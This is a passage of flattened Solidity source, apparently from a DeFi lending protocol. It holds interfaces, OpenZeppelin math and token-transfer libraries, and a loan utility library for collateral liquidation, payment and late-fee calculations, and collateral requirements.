////// contracts/interfaces/IFundingLocker.sol /* pragma solidity 0.6.11; */ interface IFundingLocker { function liquidityAsset() external view returns (address); function loan() external view returns (address); function pull(address, uint256) external; function drain() external; } ////// contracts/interfaces/IFundingLockerFactory.sol /* pragma solidity 0.6.11; */ interface IFundingLockerFactory { function owner(address) external view returns (address); function isLocker(address) external view returns (bool); function factoryType() external view returns (uint8); function newLocker(address) external returns (address); } ////// contracts/interfaces/ILateFeeCalc.sol /* pragma solidity 0.6.11; */ interface ILateFeeCalc { function calcType() external view returns (uint8); function name() external view returns (bytes32); function lateFee() external view returns (uint256); function getLateFee(uint256) external view returns (uint256); } ////// contracts/interfaces/ILiquidityLocker.sol /* pragma solidity 0.6.11; */ interface ILiquidityLocker { function pool() external view returns (address); function liquidityAsset() external view returns (address); function transfer(address, uint256) external; function fundLoan(address, address, uint256) external; } ////// contracts/interfaces/ILoanFactory.sol /* pragma solidity 0.6.11; */ interface ILoanFactory { function CL_FACTORY() external view returns (uint8); function FL_FACTORY() external view returns (uint8); function INTEREST_CALC_TYPE() external view returns (uint8); function LATEFEE_CALC_TYPE() external view returns (uint8); function PREMIUM_CALC_TYPE() external view returns (uint8); function globals() external view returns (address); function loansCreated() external view returns (uint256); function loans(uint256) external view returns (address); function isLoan(address) external view returns (bool); function loanFactoryAdmins(address) external view returns (bool); function setGlobals(address) external; function createLoan(address, address, address, address, uint256[5] memory, address[3] memory) external returns (address); function setLoanFactoryAdmin(address, bool) external; function pause() external; function unpause() external; } ////// contracts/interfaces/IMapleGlobals.sol /* pragma solidity 0.6.11; */ interface IMapleGlobals { function pendingGovernor() external view returns (address); function governor() external view returns (address); function globalAdmin() external view returns (address); function mpl() external view returns (address); function mapleTreasury() external view returns (address); function isValidBalancerPool(address) external view returns (bool); function treasuryFee() external view returns (uint256); function investorFee() external view returns (uint256); function defaultGracePeriod() external view returns (uint256); function fundingPeriod() external view returns (uint256); function swapOutRequired() external view returns (uint256); function isValidLiquidityAsset(address) external view returns (bool); function isValidCollateralAsset(address) external view returns (bool); function isValidPoolDelegate(address) external view returns (bool); function validCalcs(address) external view returns (bool); function isValidCalc(address, uint8) external view returns (bool); function getLpCooldownParams() external view returns (uint256, uint256); function isValidLoanFactory(address) external view returns (bool); function isValidSubFactory(address, address, uint8) external view returns (bool); function isValidPoolFactory(address) external view returns (bool); function getLatestPrice(address) external view returns (uint256); function defaultUniswapPath(address, address) external view returns (address); function minLoanEquity() external view returns (uint256); function maxSwapSlippage() external view returns (uint256); function protocolPaused() external view returns (bool); function stakerCooldownPeriod() external view returns (uint256); function lpCooldownPeriod() external view returns (uint256); function stakerUnstakeWindow() external view returns (uint256); function lpWithdrawWindow() external view returns (uint256); function oracleFor(address) external view returns (address); function validSubFactories(address, address) external view returns (bool); function setStakerCooldownPeriod(uint256) external; function setLpCooldownPeriod(uint256) external; function setStakerUnstakeWindow(uint256) external; function setLpWithdrawWindow(uint256) external; function setMaxSwapSlippage(uint256) external; function setGlobalAdmin(address) external; function setValidBalancerPool(address, bool) external; function setProtocolPause(bool) external; function setValidPoolFactory(address, bool) external; function setValidLoanFactory(address, bool) external; function setValidSubFactory(address, address, bool) external; function setDefaultUniswapPath(address, address, address) external; function setPoolDelegateAllowlist(address, bool) external; function setCollateralAsset(address, bool) external; function setLiquidityAsset(address, bool) external; function setCalc(address, bool) external; function setInvestorFee(uint256) external; function setTreasuryFee(uint256) external; function setMapleTreasury(address) external; function setDefaultGracePeriod(uint256) external; function setMinLoanEquity(uint256) external; function setFundingPeriod(uint256) external; function setSwapOutRequired(uint256) external; function setPriceOracle(address, address) external; function setPendingGovernor(address) external; function acceptGovernor() external; } ////// contracts/token/interfaces/IBaseFDT.sol /* pragma solidity 0.6.11; */ interface IBaseFDT { /** @dev Returns the total amount of funds a given address is able to withdraw currently. @param owner Address of FDT holder. @return A uint256 representing the available funds for a given account. */ function withdrawableFundsOf(address owner) external view returns (uint256); /** @dev Withdraws all available funds for a FDT holder. */ function withdrawFunds() external; /** @dev This event emits when new funds are distributed. @param by The address of the sender that distributed funds. @param fundsDistributed The amount of funds received for distribution. */ event FundsDistributed(address indexed by, uint256 fundsDistributed); /** @dev This event emits when distributed funds are withdrawn by a token holder. @param by The address of the receiver of funds. @param fundsWithdrawn The amount of funds that were withdrawn. @param totalWithdrawn The total amount of funds that were withdrawn. */ event FundsWithdrawn(address indexed by, uint256 fundsWithdrawn, uint256 totalWithdrawn); } ////// contracts/token/interfaces/IBasicFDT.sol /* pragma solidity 0.6.11; */ /* import "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */ /* import "./IBaseFDT.sol"; */ interface IBasicFDT is IBaseFDT, IERC20 { event PointsPerShareUpdated(uint256); event PointsCorrectionUpdated(address indexed, int256); function withdrawnFundsOf(address) external view returns (uint256); function accumulativeFundsOf(address) external view returns (uint256); function updateFundsReceived() external; } ////// contracts/token/interfaces/IExtendedFDT.sol /* pragma solidity 0.6.11; */ /* import "./IBasicFDT.sol"; */ interface IExtendedFDT is IBasicFDT { event LossesPerShareUpdated(uint256); event LossesCorrectionUpdated(address indexed, int256); event LossesDistributed(address indexed, uint256); event LossesRecognized(address indexed, uint256, uint256); function lossesPerShare() external view returns (uint256); function recognizableLossesOf(address) external view returns (uint256); function recognizedLossesOf(address) external view returns (uint256); function accumulativeLossesOf(address) external view returns (uint256); function updateLossesReceived() external; } ////// contracts/token/interfaces/IPoolFDT.sol /* pragma solidity 0.6.11; */ /* import "./IExtendedFDT.sol"; */ interface IPoolFDT is IExtendedFDT { function interestSum() external view returns (uint256); function poolLosses() external view returns (uint256); function interestBalance() external view returns (uint256); function lossesBalance() external view returns (uint256); } ////// contracts/interfaces/IPool.sol /* pragma solidity 0.6.11; */ /* import "../token/interfaces/IPoolFDT.sol"; */ interface IPool is IPoolFDT { function poolDelegate() external view returns (address); function poolAdmins(address) external view returns (bool); function deposit(uint256) external; function increaseCustodyAllowance(address, uint256) external; function transferByCustodian(address, address, uint256) external; function poolState() external view returns (uint256); function deactivate() external; function finalize() external; function claim(address, address) external returns (uint256[7] memory); function setLockupPeriod(uint256) external; function setStakingFee(uint256) external; function setPoolAdmin(address, bool) external; function fundLoan(address, address, uint256) external; function withdraw(uint256) external; function superFactory() external view returns (address); function triggerDefault(address, address) external; function isPoolFinalized() external view returns (bool); function setOpenToPublic(bool) external; function setAllowList(address, bool) external; function allowedLiquidityProviders(address) external view returns (bool); function openToPublic() external view returns (bool); function intendToWithdraw() external; function DL_FACTORY() external view returns (uint8); function liquidityAsset() external view returns (address); function liquidityLocker() external view returns (address); function stakeAsset() external view returns (address); function stakeLocker() external view returns (address); function stakingFee() external view returns (uint256); function delegateFee() external view returns (uint256); function principalOut() external view returns (uint256); function liquidityCap() external view returns (uint256); function lockupPeriod() external view returns (uint256); function depositDate(address) external view returns (uint256); function debtLockers(address, address) external view returns (address); function withdrawCooldown(address) external view returns (uint256); function setLiquidityCap(uint256) external; function cancelWithdraw() external; function reclaimERC20(address) external; function BPTVal(address, address, address, address) external view returns (uint256); function isDepositAllowed(uint256) external view returns (bool); function getInitialStakeRequirements() external view returns (uint256, uint256, bool, uint256, uint256); } ////// contracts/interfaces/IPoolFactory.sol /* pragma solidity 0.6.11; */ interface IPoolFactory { function LL_FACTORY() external view returns (uint8); function SL_FACTORY() external view returns (uint8); function poolsCreated() external view returns (uint256); function globals() external view returns (address); function pools(uint256) external view returns (address); function isPool(address) external view returns (bool); function poolFactoryAdmins(address) external view returns (bool); function setGlobals(address) external; function createPool(address, address, address, address, uint256, uint256, uint256) external returns (address); function setPoolFactoryAdmin(address, bool) external; function pause() external; function unpause() external; } ////// contracts/interfaces/IPremiumCalc.sol /* pragma solidity 0.6.11; */ interface IPremiumCalc { function calcType() external view returns (uint8); function name() external view returns (bytes32); function premiumFee() external view returns (uint256); function getPremiumPayment(address) external view returns (uint256, uint256, uint256); } ////// contracts/interfaces/IRepaymentCalc.sol /* pragma solidity 0.6.11; */ interface IRepaymentCalc { function calcType() external view returns (uint8); function name() external view returns (bytes32); function getNextPayment(address) external view returns (uint256, uint256, uint256); } ////// contracts/interfaces/IUniswapRouter.sol /* pragma solidity 0.6.11; */ interface IUniswapRouter { function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function WETH() external pure returns (address); } ////// lib/openzeppelin-contracts/contracts/math/SafeMath.sol /* pragma solidity >=0.6.0 <0.8.0; */ /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } ////// contracts/library/Util.sol /* pragma solidity 0.6.11; */ /* import "../interfaces/IERC20Details.sol"; */ /* import "../interfaces/IMapleGlobals.sol"; */ /* import "lib/openzeppelin-contracts/contracts/math/SafeMath.sol"; */ /// @title Util is a library that contains utility functions. library Util { using SafeMath for uint256; /** @dev Calculates the minimum amount from a swap (adjustable for price slippage). @param globals Instance of a MapleGlobals. @param fromAsset Address of ERC-20 that will be swapped. @param toAsset Address of ERC-20 that will returned from swap. @param swapAmt Amount of `fromAsset` to be swapped. @return Expected amount of `toAsset` to receive from swap based on current oracle prices. */ function calcMinAmount(IMapleGlobals globals, address fromAsset, address toAsset, uint256 swapAmt) external view returns (uint256) { return swapAmt .mul(globals.getLatestPrice(fromAsset)) // Convert from `fromAsset` value. .mul(10 ** IERC20Details(toAsset).decimals()) // Convert to `toAsset` decimal precision. .div(globals.getLatestPrice(toAsset)) // Convert to `toAsset` value. .div(10 ** IERC20Details(fromAsset).decimals()); // Convert from `fromAsset` decimal precision. } } ////// lib/openzeppelin-contracts/contracts/utils/Address.sol /* pragma solidity >=0.6.2 <0.8.0; */ /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } ////// lib/openzeppelin-contracts/contracts/token/ERC20/SafeERC20.sol /* pragma solidity >=0.6.0 <0.8.0; */ /* import "./IERC20.sol"; */ /* import "../../math/SafeMath.sol"; */ /* import "../../utils/Address.sol"; */ /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } ////// contracts/library/LoanLib.sol /* pragma solidity 0.6.11; */ /* import "../interfaces/ICollateralLocker.sol"; */ /* import "../interfaces/ICollateralLockerFactory.sol"; */ /* import "../interfaces/IERC20Details.sol"; */ /* import "../interfaces/IFundingLocker.sol"; */ /* import "../interfaces/IFundingLockerFactory.sol"; */ /* import "../interfaces/IMapleGlobals.sol"; */ /* import "../interfaces/ILateFeeCalc.sol"; */ /* import "../interfaces/ILoanFactory.sol"; */ /* import "../interfaces/IPremiumCalc.sol"; */ /* import "../interfaces/IRepaymentCalc.sol"; */ /* import "../interfaces/IUniswapRouter.sol"; */ /* import "../library/Util.sol"; */ /* import "lib/openzeppelin-contracts/contracts/token/ERC20/SafeERC20.sol"; */ /* import "lib/openzeppelin-contracts/contracts/math/SafeMath.sol"; */ /// @title LoanLib is a library of utility functions used by Loan. library LoanLib { using SafeMath for uint256; using SafeERC20 for IERC20; address public constant UNISWAP_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /********************************/ /*** Lender Utility Functions ***/ /********************************/ /** @dev Performs sanity checks on the data passed in Loan constructor. @param globals Instance of a MapleGlobals. @param liquidityAsset Contract address of the Liquidity Asset. @param collateralAsset Contract address of the Collateral Asset. @param specs Contains specifications for this Loan. */ function loanSanityChecks(IMapleGlobals globals, address liquidityAsset, address collateralAsset, uint256[5] calldata specs) external view { require(globals.isValidLiquidityAsset(liquidityAsset), "L:INVALID_LIQ_ASSET"); require(globals.isValidCollateralAsset(collateralAsset), "L:INVALID_COL_ASSET"); require(specs[2] != uint256(0), "L:ZERO_PID"); require(specs[1].mod(specs[2]) == uint256(0), "L:INVALID_TERM_DAYS"); require(specs[3] > uint256(0), "L:ZERO_REQUEST_AMT"); } /** @dev Returns capital to Lenders, if the Borrower has not drawn down the Loan past the grace period. @param liquidityAsset IERC20 of the Liquidity Asset. @param fundingLocker Address of FundingLocker. @param createdAt Timestamp of Loan instantiation. @param fundingPeriod Duration of the funding period, after which funds can be reclaimed. @return excessReturned Amount of Liquidity Asset that was returned to the Loan from the FundingLocker. */ function unwind(IERC20 liquidityAsset, address fundingLocker, uint256 createdAt, uint256 fundingPeriod) external returns (uint256 excessReturned) { // Only callable if Loan funding period has elapsed. require(block.timestamp > createdAt.add(fundingPeriod), "L:STILL_FUNDING_PERIOD"); // Account for existing balance in Loan. uint256 preBal = liquidityAsset.balanceOf(address(this)); // Drain funding from FundingLocker, transfers all the Liquidity Asset to this Loan. IFundingLocker(fundingLocker).drain(); return liquidityAsset.balanceOf(address(this)).sub(preBal); } /** @dev Liquidates a Borrower's collateral, via Uniswap, when a default is triggered. Only the Loan can call this function. @param collateralAsset IERC20 of the Collateral Asset. @param liquidityAsset Address of Liquidity Asset. @param superFactory Factory that instantiated Loan. @param collateralLocker Address of CollateralLocker. @return amountLiquidated Amount of Collateral Asset that was liquidated. @return amountRecovered Amount of Liquidity Asset that was returned to the Loan from the liquidation. */ function liquidateCollateral( IERC20 collateralAsset, address liquidityAsset, address superFactory, address collateralLocker ) external returns ( uint256 amountLiquidated, uint256 amountRecovered ) { // Get the liquidation amount from CollateralLocker. uint256 liquidationAmt = collateralAsset.balanceOf(address(collateralLocker)); // Pull the Collateral Asset from CollateralLocker. ICollateralLocker(collateralLocker).pull(address(this), liquidationAmt); if (address(collateralAsset) == liquidityAsset || liquidationAmt == uint256(0)) return (liquidationAmt, liquidationAmt); collateralAsset.safeApprove(UNISWAP_ROUTER, uint256(0)); collateralAsset.safeApprove(UNISWAP_ROUTER, liquidationAmt); IMapleGlobals globals = _globals(superFactory); // Get minimum amount of loan asset get after swapping collateral asset. uint256 minAmount = Util.calcMinAmount(globals, address(collateralAsset), liquidityAsset, liquidationAmt); // Generate Uniswap path. address uniswapAssetForPath = globals.defaultUniswapPath(address(collateralAsset), liquidityAsset); bool middleAsset = uniswapAssetForPath != liquidityAsset && uniswapAssetForPath != address(0); address[] memory path = new address[](middleAsset ? 3 : 2); path[0] = address(collateralAsset); path[1] = middleAsset ? uniswapAssetForPath : liquidityAsset; if (middleAsset) path[2] = liquidityAsset; // Swap collateralAsset for Liquidity Asset. uint256[] memory returnAmounts = IUniswapRouter(UNISWAP_ROUTER).swapExactTokensForTokens( liquidationAmt, minAmount.sub(minAmount.mul(globals.maxSwapSlippage()).div(10_000)), path, address(this), block.timestamp ); return(returnAmounts[0], returnAmounts[path.length - 1]); } /**********************************/ /*** Governor Utility Functions ***/ /**********************************/ /** @dev Transfers any locked funds to the Governor. Only the Governor can call this function. @param token Address of the token to be reclaimed. @param liquidityAsset Address of token that is used by the loan for drawdown and payments. @param globals Instance of a MapleGlobals. */ function reclaimERC20(address token, address liquidityAsset, IMapleGlobals globals) external { require(msg.sender == globals.governor(), "L:NOT_GOV"); require(token != liquidityAsset && token != address(0), "L:INVALID_TOKEN"); IERC20(token).safeTransfer(msg.sender, IERC20(token).balanceOf(address(this))); } /************************/ /*** Getter Functions ***/ /************************/ /** @dev Returns if a default can be triggered. @param nextPaymentDue Timestamp of when payment is due. @param defaultGracePeriod Amount of time after the next payment is due that a Borrower has before a liquidation can occur. @param superFactory Factory that instantiated Loan. @param balance LoanFDT balance of account trying to trigger a default. @param totalSupply Total supply of LoanFDT. @return Boolean indicating if default can be triggered. */ function canTriggerDefault(uint256 nextPaymentDue, uint256 defaultGracePeriod, address superFactory, uint256 balance, uint256 totalSupply) external view returns (bool) { bool pastDefaultGracePeriod = block.timestamp > nextPaymentDue.add(defaultGracePeriod); // Check if the Loan is past the default grace period and that the account triggering the default has a percentage of total LoanFDTs // that is greater than the minimum equity needed (specified in globals) return pastDefaultGracePeriod && balance >= ((totalSupply * _globals(superFactory).minLoanEquity()) / 10_000); } /** @dev Returns information on next payment amount. @param repaymentCalc Address of RepaymentCalc. @param nextPaymentDue Timestamp of when payment is due. @param lateFeeCalc Address of LateFeeCalc. @return total Entitled total amount needed to be paid in the next payment (Principal + Interest only when the next payment is last payment of the Loan). @return principal Entitled principal amount needed to be paid in the next payment. @return interest Entitled interest amount needed to be paid in the next payment. @return _nextPaymentDue Payment Due Date. @return paymentLate Whether payment is late. */ function getNextPayment( address repaymentCalc, uint256 nextPaymentDue, address lateFeeCalc ) external view returns ( uint256 total, uint256 principal, uint256 interest, uint256 _nextPaymentDue, bool paymentLate ) { _nextPaymentDue = nextPaymentDue; // Get next payment amounts from RepaymentCalc. (total, principal, interest) = IRepaymentCalc(repaymentCalc).getNextPayment(address(this)); paymentLate = block.timestamp > _nextPaymentDue; // If payment is late, add late fees. if (paymentLate) { uint256 lateFee = ILateFeeCalc(lateFeeCalc).getLateFee(interest); total = total.add(lateFee); interest = interest.add(lateFee); } } /** @dev Returns information on full payment amount. @param repaymentCalc Address of RepaymentCalc. @param nextPaymentDue Timestamp of when payment is due. @param lateFeeCalc Address of LateFeeCalc. @param premiumCalc Address of PremiumCalc. @return total Principal + Interest for the full payment. @return principal Entitled principal amount needed to be paid in the full payment. @return interest Entitled interest amount needed to be paid in the full payment. */ function getFullPayment( address repaymentCalc, uint256 nextPaymentDue, address lateFeeCalc, address premiumCalc ) external view returns ( uint256 total, uint256 principal, uint256 interest ) { (total, principal, interest) = IPremiumCalc(premiumCalc).getPremiumPayment(address(this)); if (block.timestamp <= nextPaymentDue) return (total, principal, interest); // If payment is late, calculate and add late fees using interest amount from regular payment. (,, uint256 regInterest) = IRepaymentCalc(repaymentCalc).getNextPayment(address(this)); uint256 lateFee = ILateFeeCalc(lateFeeCalc).getLateFee(regInterest); total = total.add(lateFee); interest = interest.add(lateFee); } /** @dev Calculates collateral required to drawdown amount. @param collateralAsset IERC20 of the Collateral Asset. @param liquidityAsset IERC20 of the Liquidity Asset. @param collateralRatio Percentage of drawdown value that must be posted as collateral. @param superFactory Factory that instantiated Loan. @param amt Drawdown amount. @return Amount of Collateral Asset required to post in CollateralLocker for given drawdown amount. */ function collateralRequiredForDrawdown( IERC20Details collateralAsset, IERC20Details liquidityAsset, uint256 collateralRatio, address superFactory, uint256 amt ) external view returns (uint256) { IMapleGlobals globals = _globals(superFactory); uint256 wad = _toWad(amt, liquidityAsset); // Convert to WAD precision. // Fetch current value of Liquidity Asset and Collateral Asset (Chainlink oracles provide 8 decimal precision). uint256 liquidityAssetPrice = globals.getLatestPrice(address(liquidityAsset)); uint256 collateralPrice = globals.getLatestPrice(address(collateralAsset)); // Calculate collateral required. uint256 collateralRequiredUSD = wad.mul(liquidityAssetPrice).mul(collateralRatio).div(10_000); // 18 + 8 = 26 decimals uint256 collateralRequiredWAD = collateralRequiredUSD.div(collateralPrice); // 26 - 8 = 18 decimals return collateralRequiredWAD.mul(10 ** collateralAsset.decimals()).div(10 ** 18); // 18 + collateralAssetDecimals - 18 = collateralAssetDecimals } /************************/ /*** Helper Functions ***/ /************************/ function _globals(address loanFactory) internal view returns (IMapleGlobals) { return IMapleGlobals(ILoanFactory(loanFactory).globals()); } function _toWad(uint256 amt, IERC20Details liquidityAsset) internal view returns (uint256) { return amt.mul(10 ** 18).div(10 ** liquidityAsset.decimals()); } } ////// contracts/math/SafeMathInt.sol /* pragma solidity 0.6.11; */ library SafeMathInt { function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0, "SMI:NEG"); return uint256(a); } } ////// contracts/math/SafeMathUint.sol /* pragma solidity 0.6.11; */ library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256 b) { b = int256(a); require(b >= 0, "SMU:OOB"); } } ////// lib/openzeppelin-contracts/contracts/math/SignedSafeMath.sol /* pragma solidity >=0.6.0 <0.8.0; */ /** * @title SignedSafeMath * @dev Signed math operations with safety checks that revert on error. */ library SignedSafeMath { int256 constant private _INT256_MIN = -2**255; /** * @dev Returns the multiplication of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas 